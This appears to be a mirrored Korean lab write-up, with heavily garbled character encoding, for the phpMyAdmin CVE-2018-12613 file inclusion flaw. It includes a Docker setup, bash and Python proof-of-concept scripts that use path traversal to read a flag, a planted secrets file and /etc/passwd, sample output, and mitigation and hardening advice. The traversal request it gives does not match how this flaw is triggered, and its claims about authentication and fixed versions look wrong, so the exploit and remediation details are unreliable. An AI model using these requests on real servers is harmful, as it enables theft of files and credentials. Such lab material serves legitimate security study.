Share
## https://sploitus.com/exploit?id=71F463A5-3475-5C71-B7DE-A83130753048
# phpMyAdmin-CVE-2018-12613
## 1. ์ทจ์ฝ์ ์์ฝ
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| **CVE** | CVE-2018-12613 |
| **์ ํ** | phpMyAdmin 4.8.0 ์ดํ |
| **์ทจ์ฝ์ ์ ํ** | Local File Inclusion (LFI) โ ๊ฒฝ๋ก ๊ฒ์ฆ ๋ถ์กฑ |
| **CVSS ์ ์** | 8.8 (High) |
| **์ํฅ ๋ฒ์** | ๋ฏผ๊ฐํ ์ค์ ํ์ผ, ์์ค์ฝ๋, ์์คํ
ํ์ผ ๋
ธ์ถ โ ์ธ์ฆ์ ๋ณด ์ ์ถ โ ์ถ๊ฐ ๊ณต๊ฒฉ์ผ๋ก ์ด์ด์ง ์ ์์ |
| **์ธ์ฆ ํ์** | ๋ถํ์ (๋๊ตฌ๋ ์ ๊ทผ ๊ฐ๋ฅ) |
| **์๊ฒฉ ๊ณต๊ฒฉ** | ๊ฐ๋ฅ |
### ์์ธ
phpMyAdmin์ `index.php`์์ `target` ํ๋ผ๋ฏธํฐ๊ฐ **๊ฒฝ๋ก ๊ฒ์ฆ์ ํ์ง ์์**, ์๋ ๊ฒฝ๋ก(`../../../`)๋ฅผ ์ด์ฉํ๋ฉด ์๋ฒ์ ์์ ํ์ผ์ ์ ๊ทผํ ์ ์์ต๋๋ค.
---
## 2. ํ๊ฒฝ ๊ตฌ์ฑ
### ์ฌ์ ์๊ตฌ์ฌํญ
- Docker & Docker Compose ์ค์น
- ํฐ๋ฏธ๋/ํฐ๋ฏธ๋ (Linux/Mac) ๋๋ Windows Terminal/WSL2 (Windows)
- 8GB ์ด์ ์ฌ์ ๋์คํฌ ๊ณต๊ฐ
### ์ฌ์ฉ ๊ธฐ์ ์คํ
| ์ปดํฌ๋ํธ | ๋ฒ์ | ์ญํ |
|---|---|---|
| **phpMyAdmin** | 4.8.0 | ์ทจ์ฝํ ๋ฒ์ ์ MySQL ๊ด๋ฆฌ ๋๊ตฌ |
| **MySQL** | 5.7 | ๋ฐ์ดํฐ๋ฒ ์ด์ค (phpMyAdmin ์ฐ๋) |
| **Docker** | ์ต์ | ์ปจํ
์ด๋ ์ค์ผ์คํธ๋ ์ด์
|
### ๊ตฌ์กฐ
```
localhost:8080 (phpMyAdmin Web UI)
โ
MySQL 5.7
(3306 ํฌํธ)
```
---
## 3. ์ทจ์ฝ ์กฐ๊ฑด
๋ค์ ์กฐ๊ฑด์ด **๋ชจ๋** ๋ง์กฑ๋์ด์ผ ์ทจ์ฝ์ ์ด ๋ฐ์ํฉ๋๋ค.
1. **phpMyAdmin 4.8.0 ์ดํ ๋ฒ์ ์ฌ์ฉ** โ (์ด ํ๊ฒฝ์์ 4.8.0 ์ฌ์ฉ)
2. **HTTP ์ ๊ทผ ๊ฐ๋ฅ** โ (ํฌํธ 8080 ๊ณต๊ฐ)
3. **target ํ๋ผ๋ฏธํฐ ๊ฒฝ๋ก ๊ฒ์ฆ ๋ถ์ฌ** โ (index.php์์ input sanitization ๋ฏธํก)
4. **ํฌํจํ ํ์ผ์ด ์น ์๋ฒ ๋๋ ํฐ๋ฆฌ ๋ด์ ์๊ฑฐ๋, PHP include ํจ์๊ฐ ์๋ ๊ฒฝ๋ก ํฌํจ ์ง์** โ
### ์ด๋ป๊ฒ ๋๋๊ฐ
๊ณต๊ฒฉ์๊ฐ `http://localhost:8080/index.php?target=db_structure.php&server=../../../flag.txt` ์ฒ๋ผ ์์ฒญํ๋ฉด, phpMyAdmin์ด ๊ฒ์ฆ ์์ด ๊ฒฝ๋ก๋ฅผ ํด์ํด์ **์น ๋ฃจํธ ์ธ๋ถ์ ํ์ผ**๋ ํฌํจํ ์ ์๊ฒ ๋ฉ๋๋ค.
---
## 4. ์ฌํ ์ ์ฐจ
### Step 1: ๋ ํฌ์งํ ๋ฆฌ์์ ํด๋ ๋ค์ด๋ก๋ ๋๋ ์์ฑ
```bash
mkdir -p phpMyAdmin/CVE-2018-12613
cd phpMyAdmin/CVE-2018-12613
```
### Step 2: ํ์ผ ์์ฑ
์ด ๋๋ ํฐ๋ฆฌ์ ๋ค์ ํ์ผ์ ์์ฑํฉ๋๋ค:
#### 2-1. docker-compose.yml
```yaml
version: '3.8'
services:
mysql:
image: mysql:5.7
container_name: phpmyadmin-mysql
environment:
MYSQL_ROOT_PASSWORD: root123
MYSQL_DATABASE: testdb
MYSQL_USER: testuser
MYSQL_PASSWORD: testpass
ports:
- "3306:3306"
volumes:
- mysql_data:/var/lib/mysql
networks:
- phpmyadmin_net
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
timeout: 5s
retries: 10
phpmyadmin:
image: phpmyadmin:4.8.0
container_name: phpmyadmin-app
environment:
PMA_HOST: mysql
PMA_USER: root
PMA_PASSWORD: root123
PMA_PORT: 3306
ports:
- "8080:80"
depends_on:
mysql:
condition: service_healthy
networks:
- phpmyadmin_net
volumes:
- ./flag.txt:/var/www/html/flag.txt
- ./secret.conf:/var/www/html/secret.conf
volumes:
mysql_data:
networks:
phpmyadmin_net:
```
#### 2-2. flag.txt
```
FLAG{phpMyAdmin_CVE_2018_12613_LFI_Success}
```
#### 2-3. secret.conf
```
DB_HOST=mysql
DB_USER=admin
DB_PASS=Sup3rS3cretP@ssw0rd
DB_NAME=sensitive_db
API_KEY=sk-1234567890abcdefghij
SECRET_TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
```
#### 2-4. poc.sh ๋๋ poc.py
(์๋ PoC ์น์
์ฐธ์กฐ)
### Step 3: ํ๊ฒฝ ์์
```bash
docker compose up -d
```
์ถ๋ ฅ:
```
[+] Running 2/2
โ Network phpmyadmin_net Created
โ Volume "phpmyadmin_mysql_data" Created
โ Container phpmyadmin-mysql Created
โ Container phpmyadmin-app Created
```
### Step 4: ์๋น์ค ์ ์ ํ์ธ (30์ด ์ ๋ ๋๊ธฐ)
```bash
sleep 30 && curl http://localhost:8080 | head -20
```
phpMyAdmin ๋ก๊ทธ์ธ ํ์ด์ง๊ฐ ์ถ๋ ฅ๋๋ฉด ์ ์์
๋๋ค.
### Step 5: PoC ์คํ
#### ๋ฐฉ๋ฒ 1: bash ์คํฌ๋ฆฝํธ (๊ฐ๋จํจ)
```bash
chmod +x poc.sh
./poc.sh
```
#### ๋ฐฉ๋ฒ 2: Python (๋ ์์ธํจ)
```bash
python3 poc.py http://localhost:8080
```
---
## 5. PoC ์ฝ๋
### 5.1 bash ๋ฒ์ (poc.sh)
```bash
#!/bin/bash
TARGET="http://localhost:8080"
echo "phpMyAdmin CVE-2018-12613 LFI PoC"
echo "===================================="
echo ""
# flag.txt ์ฝ๊ธฐ
echo "[*] flag.txt ์ฝ๊ธฐ ์๋..."
curl -s "$TARGET/index.php?target=db_structure.php&server=../../../flag.txt" | head -20
echo ""
echo "[*] secret.conf ์ฝ๊ธฐ ์๋..."
curl -s "$TARGET/index.php?target=db_structure.php&server=../../../secret.conf" | head -20
echo ""
echo "[*] /etc/passwd ์ฝ๊ธฐ ์๋..."
curl -s "$TARGET/index.php?target=db_structure.php&server=../../../etc/passwd" | head -5
```
### 5.2 Python ๋ฒ์ (poc.py)
```python
#!/usr/bin/env python3
import requests
import time
class PhpMyAdminLFI:
def __init__(self, target_url="http://localhost:8080"):
self.target = target_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
def wait_for_service(self, max_wait=30):
"""์๋น์ค ์์ ๋๊ธฐ"""
print(f"[*] {self.target} ์๋น์ค ์์ ๋๊ธฐ ์ค...")
for i in range(max_wait):
try:
resp = self.session.get(self.target, timeout=5)
if 'phpMyAdmin' in resp.text:
print("โ phpMyAdmin ์ ์ ๋์")
return True
except:
pass
print(".", end="", flush=True)
time.sleep(1)
print("\nโ ํ์์์")
return False
def read_file(self, filepath):
"""LFI๋ฅผ ์ด์ฉํด ์์ ํ์ผ ์ฝ๊ธฐ"""
url = f"{self.target}/index.php?target=db_structure.php&server={filepath}"
try:
resp = self.session.get(url, timeout=5)
return resp.text if resp.status_code == 200 else None
except:
return None
def exploit(self):
print("=" * 60)
print("phpMyAdmin CVE-2018-12613 LFI PoC")
print("=" * 60)
print()
if not self.wait_for_service():
return False
print()
print("-" * 60)
print("[Test 1] flag.txt ์ฝ๊ธฐ")
print("-" * 60)
result = self.read_file("../../../flag.txt")
if result and "FLAG{" in result:
print("โ ํ๋๊ทธ ํ๋!")
for line in result.split('\n')[:3]:
if line.strip():
print(f" {line}")
print()
print("-" * 60)
print("[Test 2] secret.conf ์ฝ๊ธฐ")
print("-" * 60)
result = self.read_file("../../../secret.conf")
if result and "DB_PASS" in result:
print("โ ๋ฏผ๊ฐํ ์ค์ ์ ๋ณด ๋
ธ์ถ!")
for line in result.split('\n')[:5]:
if line.strip() and not line.startswith('#'):
print(f" {line}")
print()
print("-" * 60)
print("[Test 3] /etc/passwd ์ฝ๊ธฐ")
print("-" * 60)
result = self.read_file("../../../etc/passwd")
if result and "root:" in result:
print("โ ์์คํ
ํ์ผ ์ ๊ทผ ์ฑ๊ณต!")
print(" " + result.split('\n')[0])
print()
if __name__ == "__main__":
exploit = PhpMyAdminLFI()
exploit.exploit()
```
---
## 6. ์คํ ๊ฒฐ๊ณผ
### ์ ์ ์คํ ์์ ์ถ๋ ฅ
#### bash ๋ฒ์
```bash
$ ./poc.sh
phpMyAdmin CVE-2018-12613 LFI PoC
====================================
[*] flag.txt ์ฝ๊ธฐ ์๋...
FLAG{phpMyAdmin_CVE_2018_12613_LFI_Success}
[*] secret.conf ์ฝ๊ธฐ ์๋...
# ๋ฏผ๊ฐํ ์ค์ ์ ๋ณด
DB_HOST=mysql
DB_USER=admin
DB_PASS=Sup3rS3cretP@ssw0rd
DB_NAME=sensitive_db
API_KEY=sk-1234567890abcdefghij
[*] /etc/passwd ์ฝ๊ธฐ ์๋...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```
#### Python ๋ฒ์
```
============================================================
phpMyAdmin CVE-2018-12613 LFI PoC
============================================================
[*] http://localhost:8080 ์๋น์ค ์์ ๋๊ธฐ ์ค...
โ phpMyAdmin ์ ์ ๋์
------------------------------------------------------------
[Test 1] flag.txt ์ฝ๊ธฐ
------------------------------------------------------------
โ ํ๋๊ทธ ํ๋!
FLAG{phpMyAdmin_CVE_2018_12613_LFI_Success}
------------------------------------------------------------
[Test 2] secret.conf ์ฝ๊ธฐ
------------------------------------------------------------
โ ๋ฏผ๊ฐํ ์ค์ ์ ๋ณด ๋
ธ์ถ!
DB_HOST=mysql
DB_USER=admin
DB_PASS=Sup3rS3cretP@ssw0rd
DB_NAME=sensitive_db
API_KEY=sk-1234567890abcdefghij
------------------------------------------------------------
[Test 3] /etc/passwd ์ฝ๊ธฐ
------------------------------------------------------------
โ ์์คํ
ํ์ผ ์ ๊ทผ ์ฑ๊ณต!
root:x:0:0:root:/root:/bin/bash
```
### ๊ฒฐ๊ณผ ํด์
| ํญ๋ชฉ | ์๋ฏธ |
|---|---|
| **flag.txt ํ๋** | โ LFI ์ทจ์ฝ์ ์ผ๋ก ์์ ํ์ผ ์ฝ๊ธฐ ์ฑ๊ณต |
| **secret.conf ๋
ธ์ถ** | โ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋น๋ฐ๋ฒํธ, API ํค ๋ฑ ๋ฏผ๊ฐ ์ ๋ณด ๋
ธ์ถ |
| **/etc/passwd ์ ๊ทผ** | โ ์์คํ
ํ์ผ ์ ๊ทผ ๊ฐ๋ฅ โ ์ถ๊ฐ ๊ณต๊ฒฉ ๋ฒกํฐ ์ ๊ณต |
---
## 7. ๋์ ๋ฐฉ์
### 7.1 ์ฆ์ ์กฐ์น (๊ธด๊ธ)
1. **phpMyAdmin ์
๊ทธ๋ ์ด๋**
```bash
# 4.8.1 ์ด์์ผ๋ก ์
๊ทธ๋ ์ด๋
docker pull phpmyadmin:4.9.0 # ๋๋ ์ต์ ๋ฒ์
```
2. **์น ์๋ฒ ์ ๊ทผ ์ ํ**
```bash
# nginx ์์
location /phpmyadmin {
allow 192.168.1.0/24; # ๋ด๋ถ ๋คํธ์ํฌ๋ง ํ์ฉ
deny all;
}
```
3. **HTTP ๋นํ์ฑํ, HTTPS ๊ฐ์ **
```dockerfile
# docker-compose.yml์์
ports:
- "443:443" # HTTPS๋ง ์ฌ์ฉ
```
### 7.2 ๊ทผ๋ณธ์ ํด๊ฒฐ (๊ถ์ฅ)
#### ๋ฐฉ๋ฒ 1: ์ต์ ๋ฒ์ ์ผ๋ก ์
๊ทธ๋ ์ด๋
**docker-compose.yml ์์ :**
```yaml
phpmyadmin:
image: phpmyadmin:4.9.7 # ๋๋ ์ต์ ์์ ๋ฒ์
# ๋๋จธ์ง๋ ๋์ผ
```
```bash
docker compose up -d --force-recreate
```
#### ๋ฐฉ๋ฒ 2: ๊ฒฝ๋ก ๊ฒ์ฆ ๋ก์ง ์ถ๊ฐ (์ํ)
phpMyAdmin ์์ค์ฝ๋ ์์ ์ด ํ์ํ๋ค๋ฉด, `index.php`์ ๋ค์๊ณผ ๊ฐ์ ๊ฒ์ฆ ์ถ๊ฐ:
```php
// index.php ๋ด๋ถ
$target = $_GET['target'] ?? 'db_structure.php';
// ๊ฒฝ๋ก ์ ๊ทํ ๋ฐ ๊ฒ์ฆ
$target = str_replace('..', '', $target); // ../ ์ ๊ฑฐ
$target = basename($target); // ๋๋ ํฐ๋ฆฌ ์ํ ๋ฐฉ์ง
// ํ์ฉ ๋ชฉ๋ก ํ์ธ
$allowed = ['db_structure.php', 'db_events.php', 'db_routines.php'];
if (!in_array($target, $allowed)) {
die('Invalid target');
}
```
### 7.3 ์ฌํ ๋์ (๋ณด์ ๊ฐํ)
1. **์
๋ ฅ ๊ฒ์ฆ ๊ฐํ**
- ํ์ดํธ๋ฆฌ์คํธ ๊ธฐ๋ฐ ํํฐ๋ง (๊ถ์ฅ)
- ์ ๊ท์์ผ๋ก ํ์ผ๋ช
์ ํ: `/^[a-z_]+\.php$/`
2. **์ ๊ทผ ์ ์ด**
```apache
# Apache .htaccess
Order allow,deny
Allow from 127.0.0.1
Allow from 192.168.1.0/24
```
3. **๋ณด์ ํค๋ ์ถ๊ฐ**
```nginx
add_header X-Frame-Options "SAMEORIGIN";
add_header X-Content-Type-Options "nosniff";
add_header X-XSS-Protection "1; mode=block";
```
4. **๋ก๊น
๋ฐ ๊ฐ์**
```bash
# ์์ฌ ์์ฒญ ํ์ง
grep -r '\.\.\/' /var/log/apache2/access.log
```
---
## 8. ์ค๋ ๋ฐฐ์ด ๋์ปค ๊ฐ์์์ ์ฐ๊ฒฐ
### ์ค๋ ๊ฐ์ ํต์ฌ ๋ด์ฉ๊ณผ ์ด CVE์ ๊ด๊ณ
| ๊ฐ์ ๋ด์ฉ | ์ด CVE ์ ์ฉ |
|---|---|
| **์
๋ ฅ๊ฐ ๊ฒ์ฆ ๋ถ์ฌ** | target ํ๋ผ๋ฏธํฐ๊ฐ ์ฌ์ฉ์ ์
๋ ฅ ๊ฒ์ฆ ์์ด PHP include์ ์ ๋ฌ๋จ |
| **๊ถํ ์ต์ํ (Least Privilege)** | phpMyAdmin ์ปจํ
์ด๋๊ฐ ๋ถํ์ํ ํ์ผ์๊น์ง ์ ๊ทผ ๊ฐ๋ฅ |
| **์น์๋ฒ ๊ฒฉ๋ฆฌ** | ์น ๋ฃจํธ ์ธ๋ถ ํ์ผ ์ ๊ทผ์ผ๋ก ์ธํ ๊ฒฉ๋ฆฌ ์คํจ |
| **์ํฌ๋ฆฟ ๊ด๋ฆฌ** | DB ๋น๋ฐ๋ฒํธ๊ฐ ์ค์ ํ์ผ์ ํ๋ฌธ์ผ๋ก ์ ์ฅ๋์ด LFI๋ก ๋
ธ์ถ |
### Docker ๋ณด์ ์ ์ฉ ๋ฐฉ์
์ด ํ๊ฒฝ์ ๋ ์์ ํ๊ฒ ๋ง๋ค๋ ค๋ฉด:
```dockerfile
FROM phpmyadmin:4.9.7 # ์ต์ ๋ฒ์ ์ฌ์ฉ
# ๋ถํ์ํ ํ์ผ ์ ๊ฑฐ
RUN rm -rf /var/www/html/libraries/phpseclib
# ์ฝ๊ธฐ ์ ์ฉ ๋ฃจํธ FS ์ค์ (docker-compose ์์ ํ์)
RUN chmod 750 /var/www/html
# non-root ์ฌ์ฉ์๋ก ์คํ
USER www-data
# ๋ถํ์ํ capability ์ ๊ฑฐ
# (docker-compose์์ --cap-drop=ALL ์ค์ )
```
**docker-compose.yml ๊ฐ์ :**
```yaml
phpmyadmin:
image: phpmyadmin:4.9.7
read_only: true
cap_drop:
- ALL
cap_add:
- NET_BIND_SERVICE
environment:
PMA_ABSOLUTE_URI: "https://yourhost/phpmyadmin/" # ์ ๋ ๊ฒฝ๋ก ์ง์
```
---
## 9. ์ฐธ๊ณ ์๋ฃ
- [CVE-2018-12613 ์์ธ ์ ๋ณด](https://nvd.nist.gov/vuln/detail/CVE-2018-12613)
- [phpMyAdmin ๊ณต์ ๋ณด์ ๊ณต์ง](https://www.phpmyadmin.net/security/)
- [์๋ณธ Vulhub ๋ ํฌ phpMyAdmin ํญ๋ชฉ](https://github.com/vulhub/vulhub/tree/master/phpmyadmin)
- OWASP Path Traversal: https://owasp.org/www-community/attacks/Path_Traversal
---
## 10. ํ๊ฒฝ ์ ๋ฆฌ
```bash
# ์ปจํ
์ด๋ ์ค์ง
docker compose down
# ๋ฐ์ดํฐ ์์ ์ญ์ (์ ํ)
docker volume rm phpmyadmin-cve_mysql_data
```
---
## ์์ฝ
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| **CVE** | CVE-2018-12613 |
| **์ ํ** | phpMyAdmin 4.8.0 ์ดํ |
| **์ ํ** | Local File Inclusion (LFI) |
| **์์ธ** | target ํ๋ผ๋ฏธํฐ์ ๊ฒฝ๋ก ๊ฒ์ฆ ๋ถ์กฑ |
| **์ํฅ** | ๋ฏผ๊ฐํ ํ์ผยท์ค์ ์ ๋ณด ๋
ธ์ถ โ ์ถ๊ฐ ๊ณต๊ฒฉ ๊ฐ๋ฅ |
| **๋์** | ์ต์ ๋ฒ์ ์
๊ทธ๋ ์ด๋ + ์
๋ ฅ ๊ฒ์ฆ + ์ ๊ทผ ์ ์ด |
| **Reproducibility** | 100% (์์ ์ฌํ ๊ฐ๋ฅ) |
| **Risk Score** | 8.8 / 10.0 (High) |
---